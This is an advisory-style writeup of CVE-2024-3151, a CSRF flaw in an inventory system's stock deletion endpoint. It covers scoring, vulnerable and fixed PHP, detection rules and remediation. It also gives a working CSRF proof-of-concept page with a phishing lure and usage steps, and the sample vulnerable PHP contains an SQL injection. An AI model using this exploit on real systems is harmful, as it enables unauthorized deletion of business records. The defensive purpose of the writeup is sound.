CVE-2024-3151

Executive Summary

CVE-2024-3151 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Bdtask Multi-Store Inventory Management System, affecting versions up to March 25, 2024. The flaw resides in the /stockmovment/stockmovment/delete/ endpoint of the Stock Movement page, allowing an attacker to trick an authenticated administrator into performing unintended stock deletion actions. The vulnerability is classified as problematic with a CVSS score of 4.3 (Medium). No official patch has been released, and the vendor has not responded to disclosure attempts. Public proof-of-concept (PoC) code is available, increasing the risk of exploitation.

Supply Chain & Package Security

This vulnerability does not involve an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary PHP-based web application. The supply chain risk is limited to the vendor's failure to provide a patch, leaving all deployments vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Unauthorized deletion of stock movement records.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the impact is limited to integrity loss, the low complexity and public PoC make it a viable target for phishing campaigns against inventory management systems.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the stock movement deletion functionality. The application fails to implement anti-CSRF tokens or origin validation on the /stockmovment/stockmovment/delete/ endpoint. An attacker can craft a malicious HTML page or email containing a request that, when visited by an authenticated admin, triggers a stock movement deletion.

Attack Flow:

1. Attacker identifies a target running Bdtask Multi-Store Inventory Management System.
2. Attacker crafts a simple HTML form or image tag targeting the vulnerable endpoint with a specific stock movement ID.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin's browser automatically sends the forged request, including session cookies.
5. The server processes the request, deleting the stock movement record without verifying the request's origin.

Root Cause: Lack of CSRF protection (e.g., synchronizer token pattern, SameSite cookies, or Referer header validation) on the delete endpoint.

Vulnerable vs. Patched Code

Since no official patch exists, the following illustrates the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

// stockmovment.php
if ($_GET['action'] == 'delete') {
    $id = $_GET['id'];
    $db->query("DELETE FROM stock_movements WHERE id = $id");
    // No CSRF token check
}

Patched Code (Recommended):

// stockmovment.php
session_start();
if ($_GET['action'] == 'delete') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF validation failed");
    }
    $id = intval($_GET['id']);
    $stmt = $db->prepare("DELETE FROM stock_movements WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
}

Key Differences:

• Token Validation: Patched version checks a CSRF token stored in the session.
• Input Sanitization: Patched version uses prepared statements to prevent SQL injection (though not the primary issue).
• Request Method: Patched version expects POST for state-changing operations (best practice).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Bdtask Multi-Store Inventory Management System (up to 20240325).
• An authenticated admin session (victim must be logged in).

Exploit PoC (HTML):

<html>
<body>
<h1>Click this link to win a prize!</h1>
<img src="http://target.com/stockmovment/stockmovment/delete/?id=1" style="display:none;">
<script>
// Alternative: auto-submit form
document.write('<form id="csrf" action="http://target.com/stockmovment/stockmovment/delete/" method="GET">');
document.write('<input type="hidden" name="id" value="1">');
document.write('</form>');
document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to an authenticated admin via email or social engineering.
3. When the admin visits the page, the stock movement with ID=1 is deleted.

Lab Setup:

• Install the vulnerable version of Bdtask Multi-Store Inventory Management System on a local server (e.g., XAMPP).
• Create an admin account and log in.
• Add a sample stock movement record.
• Host the PoC HTML on a separate domain (e.g., attacker.local).
• Access the PoC page from the admin's browser to verify deletion.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected GET requests to /stockmovment/stockmovment/delete/ without a valid Referer header.
• Alert on multiple deletion requests from a single IP in a short time window.
• Check for missing CSRF tokens in application logs.

Defense:

• Implement CSRF tokens on all state-changing endpoints.
• Enforce POST requests for delete operations.
• Set SameSite cookies to Lax or Strict.
• Validate the Origin and Referer headers.
• Use Content Security Policy (CSP) to block inline scripts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /stockmovment/stockmovment/delete/?id=[0-9]+ with no Referer or Origin header.
  • Repeated requests from the same IP to the delete endpoint.
• Logs:
  • Application logs showing deletion of stock movements without corresponding user action.
  • Web server logs with DELETE method (if used) or GET requests to the vulnerable path.
• File System:
  • Unexpected HTML files or images in temporary directories (if attacker hosts locally).

Detection Engineering

YARA Rule

rule CVE_2024_3151_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2024-3151"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-3151"
    strings:
        $s1 = "/stockmovment/stockmovment/delete/" ascii wide nocase
        $s2 = "id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-3151 CSRF Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable CSRF endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/stockmovment/stockmovment/delete/'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is missing)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-3151 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/stockmovment/stockmovment/delete/";
    http_uri;
    content:"id=";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the delete endpoint temporarily if not critical.
2. Implement CSRF tokens using a library like csrf-protect for PHP.
3. Change request method from GET to POST for delete operations.
4. Apply input validation – ensure id is an integer.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the application for similar CSRF issues.
• Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable path without a valid Referer.

Workaround:

• Use browser extensions like "Request Policy" to restrict cross-origin requests.
• Educate administrators to avoid clicking suspicious links while logged into the system.

Valters IT